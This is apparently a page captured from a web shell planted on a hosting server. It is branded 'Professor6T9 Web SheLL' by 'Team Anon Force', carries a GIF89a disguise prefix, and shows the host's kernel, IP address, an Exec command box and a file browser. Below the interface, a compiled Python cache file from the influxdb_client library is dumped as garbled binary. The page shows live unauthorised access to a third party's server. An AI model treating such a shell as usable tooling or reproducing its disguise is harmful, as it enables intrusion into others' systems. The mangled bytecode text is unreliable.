GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
client
/
__pycache__
[ HOME ]
Exec
Submit
invokable_scripts_api.cpython-38.pyc
U ܒi�5 � @ sx d Z ddlmZmZmZmZ ddlmZmZm Z m Z mZ ddlm Z ddlmZ ddlmZmZmZ G dd� de �Zd S ) z� Use API invokable scripts to create custom InfluxDB API endpoints that query, process, and shape data. API invokable scripts let you assign scripts to API endpoints and then execute them as standard REST operations in InfluxDB Cloud. � )�List�Iterator� Generator�Any)�Script�InvokableScriptsService�ScriptCreateRequest�ScriptUpdateRequest�ScriptInvocationParams)� _BaseQueryApi)�FluxResponseMetadataMode)� FluxRecord� TableList�CSVIteratorc @ s� e Zd ZdZdd� Zeed�dd�Zee ed�dd �Z ed d�dd �Zdd� Zdee ed�dd�Zd ee eded f d�dd�Zd!ee ee d�dd�Zd"ee ee d�dd�Zd#ee ed�dd�Zd$ee eee d�dd�Zd S )%�InvokableScriptsApizfUse API invokable scripts to create custom InfluxDB API endpoints that query, process, and shape data.c C s || _ t|j�| _dS )zInitialize defaults.N)Z_influxdb_clientr Z api_client�_invokable_scripts_service)�self�influxdb_client� r �]/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/client/invokable_scripts_api.py�__init__ s zInvokableScriptsApi.__init__)�create_request�returnc C s | j j|d�S )z�Create a script. :param ScriptCreateRequest create_request: The script to create. (required) :return: The created script. )Zscript_create_request)r Zpost_scripts)r r r r r � create_script s z!InvokableScriptsApi.create_script)� script_id�update_requestr c C s | j j||d�S )z�Update a script. :param str script_id: The ID of the script to update. (required) :param ScriptUpdateRequest update_request: Script updates to apply (required) :return: The updated. )r Zscript_update_request)r Zpatch_scripts_id)r r r r r r � update_script! s �z!InvokableScriptsApi.update_scriptN)r r c C s | j j|d� dS )zyDelete a script. :param str script_id: The ID of the script to delete. (required) :return: None )r N)r Zdelete_scripts_id)r r r r r � delete_script+ s z!InvokableScriptsApi.delete_scriptc K s | j jf |�jS )z�List scripts. :key int limit: The number of scripts to return. :key int offset: The offset for pagination. :return: List of scripts. :rtype: list[Script] )r Zget_scripts�scripts)r �kwargsr r r �find_scripts3 s z InvokableScriptsApi.find_scripts)r �paramsr c C s. | j j|t|d�dddd�}| j|dtjd�S )aA Invoke synchronously a script and return result as a TableList. The bind parameters referenced in the script are substitutes with `params` key-values sent in the request body. :param str script_id: The ID of the script to invoke. (required) :param params: bind parameters :return: :class:`~influxdb_client.client.flux_table.FluxTable` list wrapped into :class:`~influxdb_client.client.flux_table.TableList` :rtype: TableList Serialization the query results to flattened list of values via :func:`~influxdb_client.client.flux_table.TableList.to_values`: .. code-block:: python from influxdb_client import InfluxDBClient with InfluxDBClient(url="https://us-west-2-1.aws.cloud2.influxdata.com", token="my-token", org="my-org") as client: # Query: using Table structure tables = client.invokable_scripts_api().invoke_script(script_id="script-id") # Serialize to values output = tables.to_values(columns=['location', '_time', '_value']) print(output) .. code-block:: python [ ['New York', datetime.datetime(2022, 6, 7, 11, 3, 22, 917593, tzinfo=tzutc()), 24.3], ['Prague', datetime.datetime(2022, 6, 7, 11, 3, 22, 917593, tzinfo=tzutc()), 25.3], ... ] Serialization the query results to JSON via :func:`~influxdb_client.client.flux_table.TableList.to_json`: .. code-block:: python from influxdb_client import InfluxDBClient with InfluxDBClient(url="https://us-west-2-1.aws.cloud2.influxdata.com", token="my-token", org="my-org") as client: # Query: using Table structure tables = client.invokable_scripts_api().invoke_script(script_id="script-id") # Serialize to JSON output = tables.to_json(indent=5) print(output) .. code-block:: javascript [ { "_measurement": "mem", "_start": "2021-06-23T06:50:11.897825+00:00", "_stop": "2021-06-25T06:50:11.897825+00:00", "_time": "2020-02-27T16:20:00.897825+00:00", "region": "north", "_field": "usage", "_value": 15 }, { "_measurement": "mem", "_start": "2021-06-23T06:50:11.897825+00:00", "_stop": "2021-06-25T06:50:11.897825+00:00", "_time": "2020-02-27T16:20:01.897825+00:00", "region": "west", "_field": "usage", "_value": 10 }, ... ] �r! F�r �script_invocation_params� async_req�_preload_contentZ_return_http_data_onlyN�Z query_optionsZresponse_metadata_mode)r �post_scripts_id_invoker Z _to_tablesr � only_names�r r r! �responser r r � invoke_script= s J�z!InvokableScriptsApi.invoke_scriptr c C s. | j j|t|d�dddd�}| j|dtjd�S )a� Invoke synchronously a script and return result as a Generator['FluxRecord']. The bind parameters referenced in the script are substitutes with `params` key-values sent in the request body. :param str script_id: The ID of the script to invoke. (required) :param params: bind parameters :return: Stream of FluxRecord. :rtype: Generator['FluxRecord'] r"